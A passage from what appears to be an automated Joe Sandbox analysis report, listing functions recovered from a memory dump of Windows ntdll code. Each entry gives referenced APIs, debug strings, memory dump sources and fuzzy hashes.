Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 36D9B6BF

Strings

0, xrefs: 36D9B695
+, xrefs: 36D9B65A
0, xrefs: 36D9B66F
-, xrefs: 36D9B650

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: __aulldvrm
String ID: +$-$0$0
API String ID: 1302938615-699404926
Opcode ID: 67cbaaaa089a52c9565608c335445b38513441175a6f8a80d34fd58ab3f25221
Instruction ID: be6e872b9fd9022423467a4923606dba5a1d8d3c1635ba4a8a81cb8447c2a142
Opcode Fuzzy Hash: 67cbaaaa089a52c9565608c335445b38513441175a6f8a80d34fd58ab3f25221
Instruction Fuzzy Hash: D981D578E153599EEF04CF69C8917EFBBF1AF45354F564219D850AB2D0C7349840CBA1

Function 36D59126 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 199timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 36DB2559

Strings

@, xrefs: 36D59175
$, xrefs: 36D59191

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: DebugPrintTimes
String ID: $$@
API String ID: 3446177414-1194432280
Opcode ID: 8567c2df96f1940e1e89c2e3744ff33ac31ee4d06c5b50ff96e0e3da01ba95cb
Instruction ID: bc0cfc72d73c1b402cdad241f9db55e69694c71f6616fb63d6cef603135b14a9
Opcode Fuzzy Hash: 8567c2df96f1940e1e89c2e3744ff33ac31ee4d06c5b50ff96e0e3da01ba95cb
Instruction Fuzzy Hash: B4816DB6D002699BDB21CF54CC44BEEB7B8AF08754F0141DAEA0AB7640D7309E85CFA5

Function 36D84D1D Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 117timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 36D84D64

Strings

minkernel\ntdll\ldrsnap.c, xrefs: 36DC3640, 36DC366C
Probing for the manifest of DLL "%wZ" failed with status 0x%08lx, xrefs: 36DC362F
LdrpFindDllActivationContext, xrefs: 36DC3636, 36DC3662
Querying the active activation context failed with status 0x%08lx, xrefs: 36DC365C

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: DebugPrintTimes
String ID: LdrpFindDllActivationContext$Probing for the manifest of DLL "%wZ" failed with status 0x%08lx$Querying the active activation context failed with status 0x%08lx$minkernel\ntdll\ldrsnap.c
API String ID: 3446177414-3779518884
Opcode ID: 0a74f0da8f9e477f1905e1c0c6b80101bcc08b1c0fd815af4c9fcf474cdc363f
Instruction ID: b78a2ef0c288b377c31eadde34b5e26ee9d4954356961fd3f03dee9de5294675
Opcode Fuzzy Hash: 0a74f0da8f9e477f1905e1c0c6b80101bcc08b1c0fd815af4c9fcf474cdc363f
Instruction Fuzzy Hash: 93319BB6D00711EEFB12DB15C88CB2A77B4BB81398F57806AE94463650DBA0DC85C7F1

Function 36D7245A Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 111COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrinit.c, xrefs: 36DBA9A2
LdrpDynamicShimModule, xrefs: 36DBA998
Getting ApphelpCheckModule failed with status 0x%08lx, xrefs: 36DBA992
apphelp.dll, xrefs: 36D72462

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: Getting ApphelpCheckModule failed with status 0x%08lx$LdrpDynamicShimModule$apphelp.dll$minkernel\ntdll\ldrinit.c
API String ID: 0-176724104
Opcode ID: 5c3e4a86324ff31da7923cca0ab04cd23d4bf155024a29361b9e25154715880f
Instruction ID: 8de9ae248fd0d3eb169ae4c7a9a010ed4c4941d9555546426c142f345cd5483a
Opcode Fuzzy Hash: 5c3e4a86324ff31da7923cca0ab04cd23d4bf155024a29361b9e25154715880f
Instruction Fuzzy Hash: 5B312875A01301EBEB129F6AC844E5ABBB5FB88744FA60059E601B7244CBB0984BDB91

Function 36E020E0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 84COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 36E0214F
___swprintf_l.LIBCMT ref: 36E02172

Strings

]:%u, xrefs: 36E02169
%%%u, xrefs: 36E02146
[, xrefs: 36E0212B

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: ___swprintf_l
String ID: %%%u$[$]:%u
API String ID: 48624451-2819853543
Opcode ID: 5e6e0469e92b93f686860aabead349d3df600bd04682ab384d8269f21f6afd5a
Instruction ID: 13f7b4af884751e8652b2bef7cbc29c92c7392466859ac3827a00073b872e3c4
Opcode Fuzzy Hash: 5e6e0469e92b93f686860aabead349d3df600bd04682ab384d8269f21f6afd5a
Instruction Fuzzy Hash: AF2162BAE10219AFDB01DF7ADC40AEE7BF8EF54684F440116E905E3200EB31D909CBA5

Function 36D4F910 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 263timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 36DAE790

Strings

(HeapHandle != NULL), xrefs: 36DAE719
HEAP[%wZ]: , xrefs: 36DAE701
HEAP: , xrefs: 36DAE70E

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: DebugPrintTimes
String ID: (HeapHandle != NULL)$HEAP: $HEAP[%wZ]:
API String ID: 3446177414-3610490719
Opcode ID: 7656fd30214d9996bdb506b0ec2734c5f8b7123ef11dc9584fa96c34008055f6
Instruction ID: 03de21bd93f5370ca2d2af497cb2ed91a5bc38ec208910d58bbdf5e768aada31
Opcode Fuzzy Hash: 7656fd30214d9996bdb506b0ec2734c5f8b7123ef11dc9584fa96c34008055f6
Instruction Fuzzy Hash: A1911E71A14751EBE712EF25CC81F2AB7A5AFC4684F000469E9809F6A1DF34EC45CBE2

Function 36D70BCB Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 210timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 36D70CDC

Strings

minkernel\ntdll\ldrinit.c, xrefs: 36DBA121
Failed to allocated memory for shimmed module list, xrefs: 36DBA10F
LdrpCheckModule, xrefs: 36DBA117

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Failed to allocated memory for shimmed module list$LdrpCheckModule$minkernel\ntdll\ldrinit.c
API String ID: 3446177414-161242083
Opcode ID: 5f3f728ac899fcfb572f4559cc085fb6f7e3396e706979a94888758f5d336688
Instruction ID: 60105d90a088a5ff8ea86231d7f065da9080ba3356d8bb0866b6dc746206180c
Opcode Fuzzy Hash: 5f3f728ac899fcfb572f4559cc085fb6f7e3396e706979a94888758f5d336688
Instruction Fuzzy Hash: B271DFB4E00205DFEB05DF69CD80AAEBBF5EF48304F184069D542EB284E734E946CB62

Function 36E28927 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 187timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 36E28B03
RtlDebugPrintTimes.NTDLL ref: 36E28B5B

Strings

File, xrefs: 36E289EB
, xrefs: 36E28A53

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: DebugPrintTimes
String ID: $File
API String ID: 3446177414-2412145507
Opcode ID: c790b4645baaa8bb29d44c9c4772d6357360d208f637e3345ab8514ac4a74c14
Instruction ID: 7f786f2c7177b17b30681a67b856e530fa34c9abe3ba59f22733422cc1f568e7
Opcode Fuzzy Hash: c790b4645baaa8bb29d44c9c4772d6357360d208f637e3345ab8514ac4a74c14
Instruction Fuzzy Hash: D2618E71A1022CAFEB669B25CC41BEA77F9AB48704F4441A9E509E6181DA709F88CF64

Function 36D8C720 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 141timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 36D8C7BF

Strings

minkernel\ntdll\ldrinit.c, xrefs: 36DC82E8
LdrpInitializePerUserWindowsDirectory, xrefs: 36DC82DE
Failed to reallocate the system dirs string !, xrefs: 36DC82D7

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Failed to reallocate the system dirs string !$LdrpInitializePerUserWindowsDirectory$minkernel\ntdll\ldrinit.c
API String ID: 3446177414-1783798831
Opcode ID: 40a96ccc3bb7ae88393be20baa340bb7f3f76d466c3c6aaf7e8972919234b73d
Instruction ID: ac16a913122b1979159fe19ba80d2a2d066a05d298eea647e4d463ce6cb35954
Opcode Fuzzy Hash: 40a96ccc3bb7ae88393be20baa340bb7f3f76d466c3c6aaf7e8972919234b73d
Instruction Fuzzy Hash: 764123B5916304EBD721DB35CC44F4B7BE8EF44650F40452AFA44E7250EB34D80ACBA6

Function 36D8BED0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 129COMMON

Download Yara Rule

Strings

RTL: Resource at %p, xrefs: 36DC7B8E
RTL: Re-Waiting, xrefs: 36DC7BAC
RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 36DC7B7F

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 0-871070163
Opcode ID: 7dce71ba99997e1ff1af330c256152186fa26136aff3e2507f7eb85dbb6a34f3
Instruction ID: 0f66feedf72f8244c92ecfc53bfb14a1c7e6a9c2716acb3fde84df95e8a456f6
Opcode Fuzzy Hash: 7dce71ba99997e1ff1af330c256152186fa26136aff3e2507f7eb85dbb6a34f3
Instruction Fuzzy Hash: 4841BD79B057029FE721CB25CC44B5ABBF5EF98714F100A1DE8A99B280DB21E405CB91

Function 36D8B4C0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 36DC728C

Strings

RTL: Resource at %p, xrefs: 36DC72A3
RTL: Re-Waiting, xrefs: 36DC72C1
RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 36DC7294

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-605551621
Opcode ID: 41123125d0cdfb54aba32ddbbc33973cefdeb55c9a8c9a832fd7b2c75a83bb93
Instruction ID: d3a2d32131b7e55e9a337f5c23a45037897220eacb52d394ad37f449d49560aa
Opcode Fuzzy Hash: 41123125d0cdfb54aba32ddbbc33973cefdeb55c9a8c9a832fd7b2c75a83bb93
Instruction Fuzzy Hash: 6A41F075A00316AFE720CF25CC45B56BBB5FF88758F240619F8A4EB240DB20E806CBE1

Function 36DD4755 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 36DD4809

Strings

minkernel\ntdll\ldrredirect.c, xrefs: 36DD4899
LdrpCheckRedirection, xrefs: 36DD488F
Import Redirection: %wZ %wZ!%s redirected to %wZ, xrefs: 36DD4888

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Import Redirection: %wZ %wZ!%s redirected to %wZ$LdrpCheckRedirection$minkernel\ntdll\ldrredirect.c
API String ID: 3446177414-3154609507
Opcode ID: 142b79a8e5b671fa74a630d8f83c6d11e5df97e17f3953b1b67fd48df4ccc61c
Instruction ID: 4788e04af0d1005ee3dc50894c5e2c4d5f5d3d30b5ba2da2fcb896a814c298b8
Opcode Fuzzy Hash: 142b79a8e5b671fa74a630d8f83c6d11e5df97e17f3953b1b67fd48df4ccc61c
Instruction Fuzzy Hash: 0841AD76E15360EFDB11EF69C840A16BBE9AF89690F010569ED98E7351D730E804CBE1

Function 36E02300 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 90COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 36E0238D
___swprintf_l.LIBCMT ref: 36E023B3

Strings

%%%u, xrefs: 36E02384
]:%u, xrefs: 36E023AA

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: ___swprintf_l
String ID: %%%u$]:%u
API String ID: 48624451-3050659472
Opcode ID: 117fa8035077f66ff5911ac07bbe5438611ba0a336f54484b304f938355ba24f
Instruction ID: 3f9f17b0a9920003312ff653456dc79c27f8e3cc8ddedfb9619d70b1fe881a88
Opcode Fuzzy Hash: 117fa8035077f66ff5911ac07bbe5438611ba0a336f54484b304f938355ba24f
Instruction Fuzzy Hash: 8A318676900219AFDB10DF2ACC44BEEB7F8EB44754F904555E849E3240EB34DA49CFA1

Function 36DD5F10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 36DD5F8F
RtlDebugPrintTimes.NTDLL ref: 36DD5FB1
RtlDebugPrintTimes.NTDLL ref: 36DD5FBE

Strings

Wow64 Emulation Layer, xrefs: 36DD5F89

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Wow64 Emulation Layer
API String ID: 3446177414-921169906
Opcode ID: 4223a5aa1c043bd7df7437d52c680808e5200226cd974e6202692e673d82258c
Instruction ID: a829aedfdf454d37537c594b3e13be9c5415e2ca20b3b45a864b8abff70c7378
Opcode Fuzzy Hash: 4223a5aa1c043bd7df7437d52c680808e5200226cd974e6202692e673d82258c
Instruction Fuzzy Hash: 7B21367690111DBFAF01AAA28C84CBF7F7DEF45298B414464FA01A6200EA34DE0ADB30

Function 36E27CD6 Relevance: 6.4, APIs: 4, Instructions: 397timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 36E27D16
RtlDebugPrintTimes.NTDLL ref: 36E27D8D
RtlDebugPrintTimes.NTDLL ref: 36E27F2F
RtlDebugPrintTimes.NTDLL ref: 36E2803E

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: c5b20a6015e2f26eb13a7b6789df54091136e2538e2e647e2d1b8ed6eaa02afd
Instruction ID: ac4462c276c9d39a67474ec10654d7ba4050f089d81e0346c39462ae2afb6e6f
Opcode Fuzzy Hash: c5b20a6015e2f26eb13a7b6789df54091136e2538e2e647e2d1b8ed6eaa02afd
Instruction Fuzzy Hash: 93E16271E00309AFEF15DFA5C845BEEBBB5BF48354F24812AE515EB280E7709949CB50

Function 36D7EF28 Relevance: 6.3, APIs: 4, Instructions: 347COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 183c133dc8ee99217d999308f436fa8347baa7adfde4f52d43aba0c589a14173
Instruction ID: c67d71aa831411625b469fd2f29f4c247b6941c4b42b23092509d44fa2ce457b
Opcode Fuzzy Hash: 183c133dc8ee99217d999308f436fa8347baa7adfde4f52d43aba0c589a14173
Instruction Fuzzy Hash: AFE102B5D00718DFEB21CFAAC980A9DFBF1BF48314F20452AE955AB660D770A845CF52

Function 36DCEF50 Relevance: 6.2, APIs: 4, Instructions: 187timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 36DCEFE1
RtlDebugPrintTimes.NTDLL ref: 36DCF009
RtlDebugPrintTimes.NTDLL ref: 36DCF0AC
RtlDebugPrintTimes.NTDLL ref: 36DCF160

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 02b4fc19769540c1eee644a7e188ecca220967d7d44f7a83a69323d20bc7e80d
Instruction ID: fd5277f3bf44643dbca4fa11a3ce80263258b07c4ef171853dd4aa63d3c8b221
Opcode Fuzzy Hash: 02b4fc19769540c1eee644a7e188ecca220967d7d44f7a83a69323d20bc7e80d
Instruction Fuzzy Hash: 927104B1E0021D9FDF05CFA9D980ADDBBB5BF48354F15412AEA05BB258D734A905CFA0

Function 36E2A4CA Relevance: 6.2, APIs: 4, Instructions: 170timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 36E2A577
RtlDebugPrintTimes.NTDLL ref: 36E2A62A
RtlDebugPrintTimes.NTDLL ref: 36E2A64E
RtlDebugPrintTimes.NTDLL ref: 36E2A663

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: e03e0146cafaba78d49adc87959a00a655c1248c6f55da4b0c7e27ba86d1f5e2
Instruction ID: ee70dd75ee3a9c2122ab3eb5afbe50e1efb7e4180f00aca733e6a39dac10f88c
Opcode Fuzzy Hash: e03e0146cafaba78d49adc87959a00a655c1248c6f55da4b0c7e27ba86d1f5e2
Instruction Fuzzy Hash: 6C517D74B50A229FEB08EE5DC4A0A1A77F3BB49358B25406DD906D7710DBB4EC49CB80

Function 36DCF1D6 Relevance: 6.2, APIs: 4, Instructions: 150timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 36DCF26D
RtlDebugPrintTimes.NTDLL ref: 36DCF292
RtlDebugPrintTimes.NTDLL ref: 36DCF324
RtlDebugPrintTimes.NTDLL ref: 36DCF378

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 4dce5fd3c465b3323591dff6bdc128bd81ca8f72dd6ab08ae8bbd8246e003376
Instruction ID: 647fb69a9e5f2d6bd6e4b1380fbbf9f4d60638c81142503738162790d4f7c9ba
Opcode Fuzzy Hash: 4dce5fd3c465b3323591dff6bdc128bd81ca8f72dd6ab08ae8bbd8246e003376
Instruction Fuzzy Hash: 635132B6E0021DAFEF05CFA9C840ADDBBB6BF48354F15812AE905BB258D7349905CF60

Function 36D87B2F Relevance: 6.1, APIs: 4, Instructions: 81timethreadCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 36D87B52
BaseThreadInitThunk.KERNEL32 ref: 36D87B5C
RtlDebugPrintTimes.NTDLL ref: 36DC49ED
RtlDebugPrintTimes.NTDLL ref: 36DC4A70

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: DebugPrintTimes$BaseInitThreadThunk
String ID:
API String ID: 4281723722-0
Opcode ID: 0edf035cb2fc1209e970d41fd1f0b0bc34632f601c9158b55c4a5671ceb74aef
Instruction ID: 76896d5c15aeb479b8bb585195b2f267f11d7415f6280cb90b65bc3c09da0a1e
Opcode Fuzzy Hash: 0edf035cb2fc1209e970d41fd1f0b0bc34632f601c9158b55c4a5671ceb74aef
Instruction Fuzzy Hash: C7312475E05228AFCF05DFA8C844A9EBBF1BB48724F10412AE511F7290DB359906CF64

Function 36D559C0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 494COMMON

Download Yara Rule

Strings

@, xrefs: 36DB0AA7

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 4565e3b9f2c861d8e57e0549d9cfd39b11c1539cabee76aa4947017010f331d1
Instruction ID: 69a8d2609156deed3ddfdb762573ea6c0866a75b36eca659c8b1126013ccf42f
